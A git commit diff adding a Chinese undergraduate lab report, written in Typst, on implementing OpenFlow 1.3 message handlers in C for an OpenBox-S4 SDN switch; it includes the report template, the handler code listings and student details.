openbox lab report initialized

This commit is contained in:
2025-11-21 01:38:25 +08:00
parent fec271fcaa
commit 404cac344f
20 changed files with 18008 additions and 2 deletions

2
.gitignore vendored
View File

@ -1,5 +1,3 @@
openbox/
openbox_1/
include.tgz
lib.tgz
case.tgz

Binary file not shown.

BIN
openbox/flow_entry.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 4.9 MiB

BIN
openbox/flow_entry2.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 928 KiB

141
openbox/labtemplate.typ Normal file
View File

@ -0,0 +1,141 @@
#let times = "Times LT Pro"
#let times = "Times New Roman"
#let song = (times, "Noto Serif CJK SC")
#let hei = (times, "Noto Sans CJK SC")
#let kai = (times, "Noto Serif CJK SC")
#let xbsong = (times, "Noto Serif CJK SC")
#let fsong = (times, "Noto Serif CJK SC")
#let code = (times, "JetBrains Mono")
#let nudtlabpaper(title: "",
author1: "",
id1: "",
advisor: "",
jobtitle: "",
lab: "",
date: "",
header_str: "",
body) = {
// Set the document's basic properties.
set document(author: author1, title: title)
set page(
margin: (left: 30mm, right: 30mm, top: 30mm, bottom: 30mm),
)
// Title row.
v(158pt)
align(center)[
#block(text(weight: 700, size: 30pt, font: hei, tracking: 15pt, "网络工程"))
]
align(center)[
#block(text(weight: 700, size: 30pt, font: song, tracking: 15pt, "本科实验报告"))
]
v(103pt)
pad(
left: 1em,
right: 1em,
grid(
columns: (80pt, 1fr),
rows: (17pt, auto),
text(weight: 700, size: 16pt, font: song, "实验名称:"),
align(center, text(weight: "regular", size: 16pt, font: song, title)),
text(""),
line(length: 100%)
)
// #block(text(weight: 700, 1.75em, title))
// underline(text(weight: 700, size: 16pt, font: song, title))
)
// Author information.
v(62.5pt)
grid(
columns: (0.25fr, 0.25fr, 0.25fr, 0.25fr),
rows: (20pt, 8pt, 20pt, 8pt, 20pt, 8pt, 20pt, 12pt),
text(size: 14pt, font: song, tracking: 9pt, "学员姓名"),
align(center, text(size: 14pt, font: song, author1)),
text(size: 14pt, font: song, tracking: 54pt, "学号"),
align(center, text(size: 14pt, font: times, id1)),
text(""),
line(length: 100%),
text(""),
line(length: 100%),
text(size: 14pt, font: song, tracking: 9pt, "指导教员"),
align(center, text(size: 14pt, font: song, advisor)),
text(size: 14pt, font: song, tracking: 54pt, "职称"),
align(center, text(size: 14pt, font: song, jobtitle)),
text(""),
line(length: 100%),
text(""),
line(length: 100%),
text(size: 14pt, font: song, tracking: 9pt, "实验室"),
align(center, text(size: 14pt, font: song, lab)),
text(size: 14pt, font: song, tracking: 9pt, "实验时间"),
align(center, text(size: 14pt, font: song, date)),
text(""),
line(length: 100%),
text(""),
line(length: 100%),
)
v(50.5pt)
align(center, text(font: hei, size: 15pt, "国防科技大学教育训练部制"))
pagebreak()
set page(
margin: (left: 30mm, right: 30mm, top: 30mm, bottom: 30mm),
numbering: "i",
number-align: center,
)
v(14pt)
align(center)[
#block(text(font: hei, size: 14pt, "《本科实验报告》填写说明"))
]
v(14pt)
text("")
par(first-line-indent: 2em, text(font: song, size: 12pt, "实验报告内容编排应符合以下要求:"))
par(first-line-indent: 2em, text(font: fsong, size: 12pt, "1采用A421cm×29.7cm白色复印纸单面黑字。上下左右各侧的页边距均为3cm缺省文档网格字号为小4号中文为宋体英文和阿拉伯数字为Times New Roman每页30行每行36字页脚距边界为2.5cm页码置于页脚、居中采用小5号阿拉伯数字从1开始连续编排封面不编页码。"))
par(first-line-indent: 2em, text(font: fsong, size: 12pt, "2报告正文最多可设四级标题字体均为黑体第一级标题字号为4号其余各级标题为小4号标题序号第一级用“一、”、“二、”……第二级用“”、“” ……第三级用“1.”、“2.” ……第四级用“1”、“2” ……,分别按序连续编排。"))
par(first-line-indent: 2em, text(font: fsong, size: 12pt, "3正文插图、表格中的文字字号均为5号。"))
pagebreak()
set page(
margin: (left: 30mm, right: 30mm, top: 30mm, bottom: 30mm),
numbering: "1",
number-align: center,
)
set heading(numbering: "1.1")
// set text(font: hei, lang: "zh")
show heading: it => box(width: 100%)[
#v(0.50em)
#set text(font: hei)
#counter(heading).display()
// #h(0.5em)
#it.body
]
// Main body.
set par(justify: true)
body
}
#let para(t) = par(first-line-indent: 2em, text(font: song, size: 10.5pt, t))
#let subpara(t) = par(first-line-indent: 2em, text(font: song, size: 10pt, t))
#let cb(t) = block(
text(font: ("Consolas","FangSong_GB2312"), t),
fill: luma(240),
inset: 1pt,
radius: 4pt,
// width: 100%,
)

BIN
openbox/lixuanwang.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 430 KiB

15254
openbox/openbox_1.pdf Normal file

File diff suppressed because it is too large Load Diff

463
openbox/openbox_1.txt Normal file
View File

@ -0,0 +1,463 @@
#set page(header: [
#set par(spacing: 6pt)
#align(center)[#text(size: 11pt)[《网络工程》实验报告]]
#v(-0.3em)
#line(length: 100%, stroke: (thickness: 1pt))
],)
#show heading: it => box(width: 100%)[
#v(0.50em)
#set text(font: hei)
#it.body
]
#outline(title: "目录",depth: 3, indent: 1em)
#pagebreak()
#outline(
title: [图目录],
target: figure.where(kind: image),
)
#show heading: it => box(width: 100%)[
#v(0.50em)
#set text(font: hei)
#counter(heading).display()
// #h(0.5em)
#it.body
]
#set enum(indent: 0.5em,body-indent: 0.5em,)
#pagebreak()
= 实验概述
== 实验内容
#para[
本次实验中有三个小实验:
+ 基于Openbox-S4测试SDN交换功能
+ 基于SDN 交换机源码处理openflow协议消息
+ 实验三 使用 REST API 接口查询交换机的相关功能数据
本实验报告重点分析第二个小实验的实现细节。
]
== 实验要求
#para[
1. 熟悉Openbox-S4的基本功能
2. 熟悉OpenFlow协议的基本消息格式
3. 熟悉OpenFlow协议的基本消息处理流程
4. 熟悉REST API接口的基本使用
]
// Display inline code in a small box
// that retains the correct baseline.
#show raw.where(block: false): it => box(
text(font: ("Consolas","FangSong_GB2312"), it),
fill: luma(240),
inset: (x: 3pt, y: 0pt),
outset: (y: 3pt),
radius: 2pt,
)
// Display block code in a larger block
// with more padding.
#show raw.where(block: true): it => block(
text(font: ("Consolas","FangSong_GB2312"), it),
fill: luma(240),
inset: 10pt,
radius: 4pt,
width: 100%,
)
= 编写SDN交换机源码处理OpenFlow协议消息
#para[
本次实验在`main_user_openflow.c`文件中实现了OpenFlow协议处理逻辑。代码通过多个函数处理不同类型的OpenFlow消息包括Hello消息、Features Request消息、Flow Stats Request消息等。每个函数都根据消息类型生成相应的回复消息并通过`send_openflow_message`函数发送给控制器。以下将逐一分析每个函数的实现细节。
]
== 本次实验所编写的协议
#para[
本次实验实现了OpenFlow协议中的大部分消息处理功能。实验代码涵盖了从交换机特性查询到流表统计、端口统计等多种消息类型的处理。以下是实验编写协议的总结。
]
=== 实现的协议
#para[
- OFPT_FEATURES_REQUEST用于获取交换机支持的流表数量、缓冲区大小等特性信息。对应的处理函数为`handle_opfmsg_features_request`。
- OFPT_GET_CONFIG_REQUEST用于查询交换机的配置信息如Miss Send Length等。对应的处理函数为`handle_ofpmsg_get_config_request`。
- OFPT_MULTIPART_REQUEST用于处理多种统计信息请求包括交换机描述信息、流表信息、端口统计信息等。对应的处理函数包括
- `handle_ofpmsg_desc`
- `handle_ofpmsg_flow_stats`
- `handle_ofpmsg_aggregate`
- `handle_ofpmsg_table`
- `handle_ofpmsg_port_stats`
- `handle_ofpmsg_group_features`
- `handle_ofpmsg_port_desc`
- OFPT_PACKET_OUT用于处理控制器发送的数据包并根据动作指示将数据包从指定端口发送出去。对应的处理函数为`handle_ofpmsg_packet_out`。
- OFPT_ROLE_REQUEST用于配置交换机的角色如主控制器、从控制器等。对应的处理函数为`handle__opfmsg_role_request`。
]
=== 组内分工
#para[
本次实验由组内成员共同完成,每个成员负责不同的消息处理函数。以下是每个成员负责的函数列表。
#align(center)[#table(
columns: (55pt, auto),
rows: 15pt,
inset: 3pt,
align: horizon+center,
table.header(
[分工], [函数]
),
table.cell(rowspan: 7)[王李烜],
"handle_opfmsg_features_request",
"handle_ofpmsg_desc",
"handle_ofpmsg_flow_stats",
"handle_ofpmsg_aggregate",
"handle_ofpmsg_table",
"handle_ofpmsg_port_desc",
"handle_opfmsg_role_request",
table.cell(rowspan: 2)[廖中煜],
"handle_ofpmsg_get_config_request",
"handle_ofpmsg_packet_out",
table.cell(rowspan: 2)[王誉潞],
"handle_ofpmsg_port_stats",
"handle_ofpmsg_group_features",
)]
]
== 相关数据结构
#para[
在`main_user_openflow.c`中定义了一些关键的数据结构和全局变量用于处理OpenFlow协议的消息。主要的数据结构包括`ofp_header`、`ofp_switch_features`、`ofp_flow_stats`和`ofp_port_stats`等。这些数据结构用于处理OpenFlow协议中的不同消息类型如交换机特性请求、流表统计请求、端口统计请求等。
]
#para[
`ofp_header`结构体用于表示OpenFlow消息头包含协议版本、消息类型、消息长度和事务ID等字段。`ofp_switch_features`结构体用于表示交换机的特性信息如数据路径ID、缓冲区数量、流表数量等。`ofp_flow_stats`结构体用于表示流表统计信息,如流表项长度、优先级、数据包计数等。`ofp_port_stats`结构体用于表示端口统计信息,如端口号、接收数据包数、发送数据包数等。
]
== 消息头构建
#para[
在OpenFlow协议中每个消息都有一个消息头用于标识消息的版本、类型、长度和事务ID。代码中实现了`build_opfmsg_header`函数用于构建OpenFlow消息头。该函数接收消息长度、消息类型和事务ID作为参数并填充消息头的各个字段。通过调用该函数可以确保消息能够被正确解析和处理。
]
== 消息处理函数
#para[
代码中实现了多个OpenFlow消息处理函数每个函数对应一种OpenFlow消息类型。以下是每个函数的详细分析。
]
=== 处理Hello消息
#para[
`handle_opfmsg_hello`函数用于处理控制器发送的Hello消息。Hello消息是OpenFlow协议中的基础消息用于交换控制器和交换机之间的协议版本信息。函数首先检查消息头中的`version`字段判断协议版本是否为1.3。如果版本匹配则打印接收到的Hello消息否则生成一个错误消息并发送给控制器。函数返回`HANDLE`表示消息已处理。
```c
static enum ofperr handle_opfmsg_hello(struct ofp_buffer *ofpbuf) {
if (ofpbuf->header.version == 0x04) {
printf("RECV HELLO!\n\n\n");
} else {
struct ofp_buffer *ofpbuf_reply = (struct ofp_buffer *)build_reply_ofpbuf(OFPT_ERROR, ofpbuf->header.xid, sizeof(struct ofp_header));
send_openflow_message(ofpbuf_reply, sizeof(struct ofp_header));
}
return HANDLE;
}
```
]
=== 处理Features Request消息
#para[
`handle_opfmsg_features_request`函数用于处理控制器发送的Features Request消息。该消息用于查询交换机的特性信息如支持的流表数量、缓冲区大小等。函数生成一个Features Reply消息并填充交换机的特性信息如数据路径ID、缓冲区数量、流表数量等。通过`send_openflow_message`函数将回复消息发送给控制器,并返回`HANDLE`表示消息已处理。
```c
static enum ofperr handle_opfmsg_features_request(struct ofp_buffer *ofpbuf) {
int feature_reply_len = sizeof(struct ofp_switch_features) + sizeof(struct ofp_header);
struct ofp_buffer *ofpbuf_reply = (struct ofp_buffer *)build_opfmsg_reply_ofpbuf(OFPT_FEATURES_REPLY, ofpbuf->header.xid, feature_reply_len);
struct ofp_switch_features *feature_reply_msg = (struct ofp_switch_features *)ofpbuf_reply->data;
feature_reply_msg->datapath_id = 0x0100000000000000;
feature_reply_msg->n_buffers = htonl(46);
feature_reply_msg->n_tables = 3;
feature_reply_msg->capabilities = 0x7;
send_openflow_message(ofpbuf_reply, feature_reply_len);
return HANDLE;
}
```
]
=== 处理Get Config Request消息
#para[
`handle_ofpmsg_get_config_request`函数用于处理控制器发送的Get Config Request消息。该消息用于查询交换机的配置信息如Miss Send Length等。函数生成一个Get Config Reply消息并填充交换机的配置信息。通过`send_openflow_message`函数将回复消息发送给控制器,并返回`HANDLE`表示消息已处理。
```c
static enum ofperr handle_ofpmsg_get_config_request(struct ofp_buffer *ofpbuf) {
int reply_len = sizeof(struct ofp_switch_config) + sizeof(struct ofp_header);
struct ofp_buffer *ofpbuf_reply = (struct ofp_buffer *)build_reply_ofpbuf(OFPT_GET_CONFIG_REPLY, ofpbuf->header.xid, reply_len);
struct ofp_switch_config *switch_config_reply = (struct ofp_switch_config *)ofpbuf_reply->data;
switch_config_reply->flags = htons(0x0000);
switch_config_reply->miss_send_len = htons(32);
send_openflow_message(ofpbuf_reply, reply_len);
return HANDLE;
}
```
]
=== 处理Description Request消息
#para[
`handle_ofpmsg_desc`函数用于处理控制器发送的Description Request消息。该消息用于查询交换机的描述信息如制造商、硬件版本等。函数生成一个Multipart Reply消息并填充交换机的描述信息。通过`send_openflow_message`函数将回复消息发送给控制器,并返回`HANDLE`表示消息已处理。
```c
static enum ofperr handle_ofpmsg_desc(struct ofp_buffer *ofpbuf) {
int reply_len = sizeof(struct ofp_header) + sizeof(struct ofp_multipart) + sizeof(struct ofp_desc_stats);
struct ofp_buffer *ofpbuf_reply = (struct ofp_buffer *)build_reply_ofpbuf(OFPT_MULTIPART_REPLY, ofpbuf->header.xid, reply_len);
struct ofp_multipart *ofpmp_reply = (struct ofp_multipart *)ofpbuf_reply->data;
static const char *default_mfr_desc = "Wanglixuan";
static const char *default_hw_desc = "Lixuan_OpenBox";
static const char *default_sw_desc = "Lixuan_Driver";
static const char *default_serial_desc = "Lixuan OpenBox Series";
static const char *default_dp_desc = "None";
ofpmp_reply->type = htons(OFPMP_DESC);
ofpmp_reply->flags = htonl(OFPMP_REPLY_MORE_NO);
snprintf(ofpmp_reply->ofpmp_desc[0].mfr_desc, sizeof ofpmp_reply->ofpmp_desc[0].mfr_desc, "%s", default_mfr_desc);
snprintf(ofpmp_reply->ofpmp_desc[0].hw_desc, sizeof ofpmp_reply->ofpmp_desc[0].hw_desc, "%s", default_hw_desc);
snprintf(ofpmp_reply->ofpmp_desc[0].sw_desc, sizeof ofpmp_reply->ofpmp_desc[0].sw_desc, "%s", default_sw_desc);
snprintf(ofpmp_reply->ofpmp_desc[0].serial_num, sizeof ofpmp_reply->ofpmp_desc[0].serial_num, "%s", default_serial_desc);
snprintf(ofpmp_reply->ofpmp_desc[0].dp_desc, sizeof ofpmp_reply->ofpmp_desc[0].dp_desc, "%s", default_dp_desc);
send_openflow_message(ofpbuf_reply, reply_len);
return HANDLE;
}
```
]
=== 处理Flow Stats Request消息
#para[
`handle_ofpmsg_flow_stats`函数用于处理控制器发送的Flow Stats Request消息。该消息用于查询交换机的流表统计信息。函数生成一个Multipart Reply消息并设置消息类型为Flow Stats。通过`send_openflow_message`函数将回复消息发送给控制器,并返回`HANDLE`表示消息已处理。
```c
static enum ofperr handle_ofpmsg_flow_stats(struct ofp_buffer *ofpbuf) {
int reply_len = sizeof(struct ofp_header) + sizeof(struct ofp_multipart);
struct ofp_buffer *reply_buffer = (struct ofp_buffer *)build_reply_ofpbuf(OFPT_MULTIPART_REPLY, ofpbuf->header.xid, reply_len);
struct ofp_multipart *multipart_reply = (struct ofp_multipart *)reply_buffer->data;
multipart_reply->type = htons(OFPMP_FLOW);
multipart_reply->flags = htonl(OFPMP_REPLY_MORE_NO);
send_openflow_message(reply_buffer, reply_len);
return HANDLE;
}
```
]
=== 处理Aggregate Stats Request消息
#para[
`handle_ofpmsg_aggregate`函数用于处理控制器发送的Aggregate Stats Request消息。该消息用于查询交换机的聚合统计信息。函数生成一个Multipart Reply消息并填充聚合统计信息如数据包计数、字节计数等。通过`send_openflow_message`函数将回复消息发送给控制器,并返回`HANDLE`表示消息已处理。
```c
static enum ofperr handle_ofpmsg_aggregate(struct ofp_buffer *ofpbuf) {
int reply_len = sizeof(struct ofp_header) + sizeof(struct ofp_multipart) + sizeof(struct ofp_aggregate_stats_reply);
struct ofp_buffer *ofpbuf_reply = (struct ofp_buffer *)build_reply_ofpbuf(OFPT_MULTIPART_REPLY, ofpbuf->header.xid, reply_len);
struct ofp_multipart *ofpmp_reply = (struct ofp_multipart *)ofpbuf_reply->data;
ofpmp_reply->type = htons(OFPMP_AGGREGATE);
ofpmp_reply->flags = htonl(OFPMP_REPLY_MORE_NO);
ofpmp_reply->ofpmp_aggregate_reply[0].packet_count = htonll(46);
ofpmp_reply->ofpmp_aggregate_reply[0].byte_count = htonll(2025);
ofpmp_reply->ofpmp_aggregate_reply[0].flow_count = htonll(200);
send_openflow_message(ofpbuf_reply, reply_len);
return HANDLE;
}
```
]
=== 处理Table Stats Request消息
#para[
`handle_ofpmsg_table`函数用于处理控制器发送的Table Stats Request消息。该消息用于查询交换机的流表统计信息。函数生成一个Multipart Reply消息并填充流表统计信息如匹配计数、查找计数等。通过`send_openflow_message`函数将回复消息发送给控制器,并返回`HANDLE`表示消息已处理。
```c
static enum ofperr handle_ofpmsg_table(struct ofp_buffer *ofpbuf) {
int reply_len = sizeof(struct ofp_header) + sizeof(struct ofp_multipart) + sizeof(struct ofp_table_stats) * 1;
struct ofp_buffer *ofpbuf_reply = (struct ofp_buffer *)build_reply_ofpbuf(OFPT_MULTIPART_REPLY, ofpbuf->header.xid, reply_len);
struct ofp_multipart *ofpmp_reply = (struct ofp_multipart *)ofpbuf_reply->data;
ofpmp_reply->type = htons(OFPMP_TABLE);
ofpmp_reply->flags = htonl(OFPMP_REPLY_MORE_NO);
ofpmp_reply->table_stats[0].matched_count = htonll(2025);
ofpmp_reply->table_stats[0].table_id = 0;
ofpmp_reply->table_stats[0].lookup_count = htonll(46);
ofpmp_reply->table_stats[0].active_count = htonl(1);
send_openflow_message(ofpbuf_reply, reply_len);
return HANDLE;
}
```
]
=== 处理Port Stats Request消息
#para[
`handle_ofpmsg_port_stats`函数用于处理控制器发送的Port Stats Request消息。该消息用于查询交换机的端口统计信息。函数生成一个Multipart Reply消息并填充端口统计信息如持续时间、接收数据包数等。通过`send_openflow_message`函数将回复消息发送给控制器,并返回`HANDLE`表示消息已处理。
```c
static enum ofperr handle_ofpmsg_port_stats(struct ofp_buffer *ofpbuf) {
int reply_len = sizeof(struct ofp_header) + sizeof(struct ofp_multipart) + sizeof(struct ofp_port_stats) * nmps.cnt;
struct ofp_buffer *ofpbuf_reply = (struct ofp_buffer *)build_reply_ofpbuf(OFPT_MULTIPART_REPLY, ofpbuf->header.xid, reply_len);
struct ofp_multipart *ofpmp_reply = (struct ofp_multipart *)ofpbuf_reply->data;
ofpmp_reply->type = htons(OFPMP_PORT_STATS);
ofpmp_reply->flags = htonl(OFPMP_REPLY_MORE_NO);
for (int i = 0; i < nmps.cnt; i++) {
ofpmp_reply->ofpmp_port_stats[i] = nmps.ports[i].stats;
ofpmp_reply->ofpmp_port_stats[i].duration_sec = htonl(2025);
ofpmp_reply->ofpmp_port_stats[i].duration_nsec = htonl(51);
}
send_openflow_message(ofpbuf_reply, reply_len);
return HANDLE;
}
```
]
=== 处理Group Features Request消息
#para[
`handle_ofpmsg_group_features`函数用于处理控制器发送的Group Features Request消息。该消息用于查询交换机的组表特性信息。函数生成一个Multipart Reply消息并填充组表特性信息如最大组数等。通过`send_openflow_message`函数将回复消息发送给控制器,并返回`HANDLE`表示消息已处理。
```c
static enum ofperr handle_ofpmsg_group_features(struct ofp_buffer *ofpbuf) {
int reply_len = sizeof(struct ofp_header) + sizeof(struct ofp_group_features) + 8;
struct ofp_buffer *ofpbuf_reply = (struct ofp_buffer *)build_reply_ofpbuf(OFPT_MULTIPART_REPLY, ofpbuf->header.xid, reply_len);
struct ofp_group_features *group = (struct ofp_group_features *)ofpbuf_reply->data;
group->types = htons(OFPMP_GROUP_FEATURES);
group->max_groups[0] = htonl(0xdeadbeef);
send_openflow_message(ofpbuf_reply, reply_len);
return HANDLE;
}
```
]
=== 处理Port Description Request消息
#para[
`handle_ofpmsg_port_desc`函数用于处理控制器发送的Port Description Request消息。该消息用于查询交换机的端口描述信息。函数生成一个Multipart Reply消息并填充端口描述信息如端口状态等。通过`send_openflow_message`函数将回复消息发送给控制器,并返回`HANDLE`表示消息已处理。
```c
static enum ofperr handle_ofpmsg_port_desc(struct ofp_buffer *ofpbuf) {
int reply_len = sizeof(struct ofp_header) + sizeof(struct ofp_multipart) + sizeof(struct ofp_port) * nmps.cnt;
struct ofp_buffer *ofpbuf_reply = (struct ofp_buffer *)build_reply_ofpbuf(OFPT_MULTIPART_REPLY, ofpbuf->header.xid, reply_len);
struct ofp_multipart *ofpmp_reply = (struct ofp_multipart *)ofpbuf_reply->data;
ofpmp_reply->type = htons(OFPMP_PORT_DESC);
ofpmp_reply->flags = htonl(OFPMP_REPLY_MORE_NO);
for (int i = 0; i < nmps.cnt; i++) {
ofpmp_reply->ofpmp_port_desc[i] = nmps.ports[i].state;
}
send_openflow_message(ofpbuf_reply, reply_len);
return HANDLE;
}
```
]
=== 处理Packet Out消息
#para[
`handle_ofpmsg_packet_out`函数用于处理控制器发送的Packet Out消息。该消息用于指示交换机将数据包从指定端口发送出去。函数解析消息中的动作列表判断动作类型是否为`OFPAT_OUTPUT`,并根据动作指示的端口号调用`nms_exec_action`函数将数据包发送出去。函数返回`HANDLE`表示消息已处理。
```c
static enum ofperr handle_ofpmsg_packet_out(struct ofp_buffer *ofpbuf) {
struct ofp_packet_out *out = (struct ofp_packet_out *)ofpbuf;
struct ofp_action_output *action = (struct ofp_action_output *)&out->actions[0];
int action_len = ntohs(out->actions_len);
struct eth_header *eth = (struct eth_header *)&ofpbuf->data[sizeof(struct ofp_packet_out) - sizeof(struct ofp_header) + action_len];
int send_len = ntohs(ofpbuf->header.length) - sizeof(struct ofp_packet_out) - action_len;
if (action_len == 0) {
nms_exec_action(ntohl(out->in_port), OFPP_FLOOD, eth, send_len, -1);
} else {
while (action_len > 0) {
if (action->type == OFPAT_OUTPUT) {
nms_exec_action(ntohl(out->in_port), ntohl(action->port), eth, send_len, -1);
}
action_len -= sizeof(struct ofp_action_output);
action++;
}
}
return HANDLE;
}
```
]
=== 处理Role Request消息
#para[
`handle_opfmsg_role_request`函数用于处理控制器发送的Role Request消息。该消息用于配置交换机的角色如主控制器、从控制器等。函数生成一个Role Reply消息并填充角色配置信息。通过`send_openflow_message`函数将回复消息发送给控制器,并返回`HANDLE`表示消息已处理。
```c
static enum ofperr handle_opfmsg_role_request(struct ofp_buffer *ofpbuf) {
int reply_len = sizeof(struct ofp_header) + sizeof(struct ofp_role);
struct ofp_buffer *ofpbuf_reply = (struct ofp_buffer *)build_reply_ofpbuf(OFPT_ROLE_REPLY, ofpbuf->header.xid, reply_len);
memcpy(ofpbuf_reply->data, ofpbuf->data, sizeof(struct ofp_role));
ofpbuf_reply->header.type = OFPT_ROLE_REPLY;
send_openflow_message(ofpbuf_reply, reply_len);
return HANDLE;
}
```
]
== 实验结果
#para[
在控制器与交换机之间进行抓包分析报文的交互过程。控制器发送不同类型的OpenFlow消息给交换机交换机接收并处理消息并返回相应的回复消息。通过抓包分析可以看到消息的交互过程包括消息头、消息类型、消息长度等字段的解析和处理。用这种方式来验证协议编写的正确性。
实现的子协议种类较多,这里只展示部分报文内容。
]
=== OFPT_ROLE_REPLY
#para[
+ OFPT_ROLE_REPLY类型消息。此消息用于配置交换机的角色如主控制器、从控制器等。下面的@slave_request 是控制器发送的Role Request消息。
#figure(image("slave.png",fit:"stretch",format:"png"),caption:"OFPT_ROLE_REQUEST消息",)<slave_request>
如图@slave_reply 所示交换机接收并处理后返回的Role Reply消息。
#figure(image("slave_reply.png",fit:"stretch",format:"png"),caption:"OFPT_ROLE_REPLY消息",)<slave_reply>
这说明交换机已经接收到了控制器发送的Role Request消息并返回了Role Reply消息。
]
=== OFPT_MULTIPART_REPLY
#para[
+ OFPMP_DESC类型消息。此消息用于查询交换机的描述信息包括制造商、硬件版本、软件版本、序列号和数据路径描述等。
#figure(image("lixuanwang.png",fit:"stretch",format:"png"),caption:"OFPMP_DESC消息",)
可以看到图中的消息包含了制造商、硬件版本、软件版本、序列号和数据路径描述等信息(此处使用了自己的信息进行标记与区分)。
+ OFPMP_TABLE类型消息。此消息用于查询交换机的流表统计信息包括匹配计数、查找计数等。
#figure(image("table.png",fit:"stretch",format:"png"),caption:"OFPMP_TABLE消息",)
可以看到图中的消息包含了匹配计数、查找计数等信息(此处修改为了自己设置的值)。
]
= 实验总结
#para[
]
#show heading: it => box(width: 100%)[
#v(0.50em)
#set text(font: hei)
// #counter(heading).display()
// #h(0.5em)
#it.body
]
#pagebreak()
#bibliography("ref.yml",full: true,title: "参考文献",style:"gb-7714-2015-numeric")
/*
根据这个网站的格式示范https://github.com/typst/hayagriva/blob/main/docs/file-format.md
为这些网页生成.yml文件
https://opennetworking.org/wp-content/uploads/2014/10/openflow-spec-v1.3.0.pdf
https://www.cnblogs.com/goldsunshine/p/7262484.html
https://www.jianshu.com/p/acfeae1771b3
https://www.jianshu.com/p/82e238eb8d14
*/

557
openbox/openbox_1.typ Normal file
View File

@ -0,0 +1,557 @@
#import "labtemplate.typ": *
#show: nudtlabpaper.with(title: "基于OpenFlow的SDN交换机实验",
author1: "程景愉",
id1: "202302723005",
advisor: " 胡罡",
jobtitle: "教授",
lab: "306-707",
date: "2025.1.2",
header_str: "《网络工程》实验报告",
)
#set page(header: [
#set par(spacing: 6pt)
#align(center)[#text(size: 11pt)[《网络工程》实验报告]]
#v(-0.3em)
#line(length: 100%, stroke: (thickness: 1pt))
],)
#show heading: it => box(width: 100%)[
#v(0.50em)
#set text(font: hei)
#it.body
]
#outline(title: "目录",depth: 3, indent: 1em)
#pagebreak()
#outline(
title: [图目录],
target: figure.where(kind: image),
)
#show heading: it => box(width: 100%)[
#v(0.50em)
#set text(font: hei)
#counter(heading).display()
// #h(0.5em)
#it.body
]
#set enum(indent: 0.5em,body-indent: 0.5em,)
#pagebreak()
= 实验概述
== 实验内容
#para[
本次综合实验中分有三个实验:
]
+ 基于 SDN 交换机源码处理openflow协议消息
+ 虚拟网络拓扑实验
+ DDoS 网络攻击的 SDN 实验
本实验报告重点分析第一个实验的实现细节,并在最后补充介绍本小组的选做实验。
== 实验要求
1. 熟悉Openbox-S4的基本功能
2. 熟悉OpenFlow协议的基本消息格式
3. 熟悉OpenFlow协议的基本消息处理流程
// Display inline code in a small box
// that retains the correct baseline.
#show raw.where(block: false): it => box(
text(font: ("JetBrainsMono NF","Noto Fangsong KSS Rotated"), it),
fill: luma(240),
inset: (x: 3pt, y: 0pt),
outset: (y: 3pt),
radius: 2pt,
)
// Display block code in a larger block
// with more padding.
#show raw.where(block: true): it => box(
text(font: ("JetBrainsMono NF","Noto Fangsong KSS Rotated"), it),
fill: luma(240),
inset: 10pt,
radius: 4pt,
width: 100%,
)
= 编写SDN交换机源码处理OpenFlow协议消息
#para[
本次实验在`main_user_openflow.c`文件中实现了OpenFlow协议处理逻辑。代码通过多个函数处理不同类型的OpenFlow消息包括Hello消息、Features Request消息、Flow Stats Request消息等。每个函数都根据消息类型生成相应的回复消息并通过`send_openflow_message`函数发送给控制器。以下将逐一分析每个函数的实现细节。
]
== 本次实验所编写的协议
#para[
本次实验实现了OpenFlow协议中的大部分消息处理功能。实验代码涵盖了从交换机特性查询到流表统计、端口统计等多种消息类型的处理。以下是实验编写协议的总结。
]
=== 实现的协议
- OFPT_FEATURES_REQUEST用于获取交换机支持的流表数量、缓冲区大小等特性信息。对应的处理函数为`handle_opfmsg_features_request`
- OFPT_GET_CONFIG_REQUEST用于查询交换机的配置信息如Miss Send Length等。对应的处理函数为`handle_ofpmsg_get_config_request`。
- OFPT_MULTIPART_REQUEST用于处理多种统计信息请求包括交换机描述信息、流表信息、端口统计信息等。对应的处理函数包括
- `handle_ofpmsg_desc`
// - `handle_ofpmsg_flow_stats`
// - `handle_ofpmsg_aggregate`
- `handle_ofpmsg_table`
- `handle_ofpmsg_port_stats`
- `handle_ofpmsg_group_features`
- `handle_ofpmsg_port_desc`
- OFPT_PACKET_OUT用于处理控制器发送的数据包并根据动作指示将数据包从指定端口发送出去。对应的处理函数为`handle_ofpmsg_packet_out`。
- OFPT_ROLE_REQUEST用于配置交换机的角色如主控制器、从控制器等。对应的处理函数为`handle__opfmsg_role_request`。
== 相关数据结构
#para[
在`main_user_openflow.c`中定义了一些关键的数据结构和全局变量用于处理OpenFlow协议的消息。主要的数据结构包括`ofp_header`、`ofp_switch_features`、`ofp_flow_stats`和`ofp_port_stats`等。这些数据结构用于处理OpenFlow协议中的不同消息类型如交换机特性请求、流表统计请求、端口统计请求等。
]
#para[
`ofp_header`结构体用于表示OpenFlow消息头包含协议版本、消息类型、消息长度和事务ID等字段。`ofp_switch_features`结构体用于表示交换机的特性信息如数据路径ID、缓冲区数量、流表数量等。`ofp_flow_stats`结构体用于表示流表统计信息,如流表项长度、优先级、数据包计数等。`ofp_port_stats`结构体用于表示端口统计信息,如端口号、接收数据包数、发送数据包数等。
]
== 消息头构建
#para[
在OpenFlow协议中每个消息都有一个消息头用于标识消息的版本、类型、长度和事务ID。代码中实现了`build_opfmsg_header`函数用于构建OpenFlow消息头。该函数接收消息长度、消息类型和事务ID作为参数并填充消息头的各个字段。通过调用该函数可以确保消息能够被正确解析和处理。
]
== 消息处理函数
#para[
代码中实现了多个OpenFlow消息处理函数每个函数对应一种OpenFlow消息类型。以下是每个函数的详细分析。
]
=== 处理Hello消息
#para[
`handle_opfmsg_hello`函数用于处理控制器发送的Hello消息。Hello消息是OpenFlow协议中的基础消息用于交换控制器和交换机之间的协议版本信息。函数首先检查消息头中的`version`字段判断协议版本是否为1.3。如果版本匹配则打印接收到的Hello消息否则生成一个错误消息并发送给控制器。函数返回`HANDLE`表示消息已处理。
]
```c
static enum ofperr handle_opfmsg_hello(struct ofp_buffer *ofpbuf) {
if (ofpbuf->header.version == 0x04) {
printf("RECV HELLO!\n\n\n");
} else {
struct ofp_buffer *ofpbuf_reply = (struct ofp_buffer *)build_reply_ofpbuf(OFPT_ERROR, ofpbuf->header.xid, sizeof(struct ofp_header));
send_openflow_message(ofpbuf_reply, sizeof(struct ofp_header));
}
return HANDLE;
}
```
=== 处理Features Request消息
#para[
